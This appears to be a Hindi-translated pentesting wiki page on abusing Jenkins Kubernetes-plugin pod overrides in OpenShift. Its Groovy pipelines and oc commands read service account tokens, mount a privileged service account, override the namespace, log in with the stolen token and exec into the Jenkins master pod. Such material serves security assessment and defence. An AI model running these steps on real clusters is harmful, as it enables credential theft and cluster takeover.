Jenkins in Openshift - build pod overrides

Reading time: 5 minutes

इस पृष्ठ के मूल लेखक हैं Fares

Kubernetes plugin for Jenkins

यह प्लगइन ज्यादातर openshift/kubernetes क्लस्टर के अंदर Jenkins के मुख्य कार्यों के लिए जिम्मेदार है। आधिकारिक दस्तावेज़ यहां है। यह कुछ कार्यात्मकताएँ प्रदान करता है जैसे कि डेवलपर्स को जेनकिंस बिल्ड पॉड की कुछ डिफ़ॉल्ट कॉन्फ़िगरेशन को ओवरराइड करने की क्षमता।

Core functionnality

यह प्लगइन डेवलपर्स को उनके कोड को उपयुक्त वातावरण में बनाने के दौरान लचीलापन प्रदान करता है।

groovy
podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: maven
image: maven:3.8.1-jdk-8
command:
- sleep
args:
- 99d
''') {
node(POD_LABEL) {
stage('Get a Maven project') {
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
container('maven') {
stage('Build a Maven project') {
sh 'mvn -B -ntp clean install'
}
}
}
}
}

Some abuses leveraging pod yaml override

हालांकि, इसका दुरुपयोग किसी भी सुलभ इमेज जैसे Kali Linux का उपयोग करने और उस इमेज से प्रीइंस्टॉल्ड टूल्स का उपयोग करके मनमाने कमांड निष्पादित करने के लिए किया जा सकता है। नीचे दिए गए उदाहरण में, हम चल रहे पॉड के सर्विसएकाउंट टोकन को एक्सफिल्ट्रेट कर सकते हैं।

groovy
podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: kali
image: myregistry/mykali_image:1.0
command:
- sleep
args:
- 1d
''') {
node(POD_LABEL) {
stage('Evil build') {
container('kali') {
stage('Extract openshift token') {
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
}
}
}
}
}

एक अलग सिंटैक्स उसी लक्ष्य को प्राप्त करने के लिए।

groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

पॉड के नामस्थान को ओवरराइड करने का नमूना

groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: RANDOM-NAMESPACE
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

एक और उदाहरण जो एक serviceaccount को माउंट करने की कोशिश करता है (जिसके पास आपके बिल्ड को चलाने वाले डिफ़ॉल्ट वाले से अधिक अनुमतियाँ हो सकती हैं) इसके नाम के आधार पर। आपको पहले मौजूदा serviceaccounts का अनुमान लगाने या उन्हें सूचीबद्ध करने की आवश्यकता हो सकती है।

groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: MY_SERVICE_ACCOUNT
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

समान तकनीक एक Secret को माउंट करने के लिए लागू होती है। यहाँ अंतिम लक्ष्य यह होगा कि आप अपने पोड निर्माण को प्रभावी ढंग से पिवट या विशेषाधिकार प्राप्त करने के लिए कैसे कॉन्फ़िगर करें।

आगे बढ़ना

एक बार जब आप इसके साथ खेलने के लिए अभ्यस्त हो जाते हैं, तो जेनकिंस और कुबेरनेट्स/ओपनशिफ्ट पर अपने ज्ञान का उपयोग करें ताकि गलत कॉन्फ़िगरेशन/दुरुपयोग खोज सकें।

अपने आप से निम्नलिखित प्रश्न पूछें:

  • किस सेवा खाते का उपयोग निर्माण पोड को तैनात करने के लिए किया जा रहा है?
  • इसके पास कौन से भूमिकाएँ और अनुमतियाँ हैं? क्या यह उस नामस्थान के रहस्यों को पढ़ सकता है जिसमें मैं वर्तमान में हूँ?
  • क्या मैं अन्य निर्माण पोड को और अधिक सूचीबद्ध कर सकता हूँ?
  • एक समझौता किए गए sa से, क्या मैं मास्टर नोड/पोड पर कमांड निष्पादित कर सकता हूँ?
  • क्या मैं क्लस्टर को और अधिक सूचीबद्ध कर सकता हूँ ताकि कहीं और पिवट कर सकूँ?
  • कौन सा SCC लागू है?

आप यह पता लगा सकते हैं कि कौन से oc/kubectl कमांड जारी करने हैं यहाँ और यहाँ

संभावित privesc/pivoting परिदृश्य

मान लीजिए कि आपकी मूल्यांकन के दौरान आपको पता चला कि सभी जेनकिंस निर्माण एक नामस्थान में चल रहे हैं जिसे worker-ns कहा जाता है। आपने यह पता लगाया कि एक डिफ़ॉल्ट सेवा खाता जिसे default-sa कहा जाता है, निर्माण पोड पर माउंट किया गया है, हालाँकि इसके पास कुछ संसाधनों पर पढ़ने की पहुँच के अलावा इतनी अनुमतियाँ नहीं हैं लेकिन आप एक मौजूदा सेवा खाते को पहचानने में सक्षम थे जिसे master-sa कहा जाता है। मान लीजिए कि आपके पास चल रहे निर्माण कंटेनर के अंदर oc कमांड स्थापित है।

नीचे दिए गए निर्माण स्क्रिप्ट के साथ आप master-sa सेवा खाते पर नियंत्रण प्राप्त कर सकते हैं और आगे सूचीबद्ध कर सकते हैं।

groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: master-sa
containers:
- name: evil
image: random_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
sh 'oc --token=$token whoami'
}
}
}
}
}
}

आपकी पहुँच के आधार पर, या तो आपको बिल्ड स्क्रिप्ट से अपने हमले को जारी रखना होगा या आप चल रहे क्लस्टर पर इस sa के रूप में सीधे लॉगिन कर सकते हैं:

bash
oc login --token=$token --server=https://apiserver.com:port

यदि इस sa के पास पर्याप्त अनुमति है (जैसे pod/exec), तो आप मास्टर नोड पॉड के अंदर कमांड निष्पादित करके पूरे jenkins इंस्टेंस पर नियंत्रण प्राप्त कर सकते हैं, यदि यह उसी namespace के भीतर चल रहा है। आप इसके नाम और इस तथ्य के माध्यम से इस पॉड की पहचान आसानी से कर सकते हैं कि इसे jenkins डेटा संग्रहीत करने के लिए उपयोग किए जाने वाले PVC (persistant volume claim) को माउंट करना चाहिए।

bash
oc rsh pod_name -c container_name

यदि मास्टर नोड पॉड उसी नामस्थान में नहीं चल रहा है जैसे कि कार्यकर्ता, तो आप मास्टर नामस्थान को लक्षित करके समान हमले करने की कोशिश कर सकते हैं। मान लीजिए कि इसे jenkins-master कहा जाता है। ध्यान रखें कि सेवा खाता master-sa jenkins-master नामस्थान में होना चाहिए (और यह worker-ns नामस्थान में नहीं हो सकता है)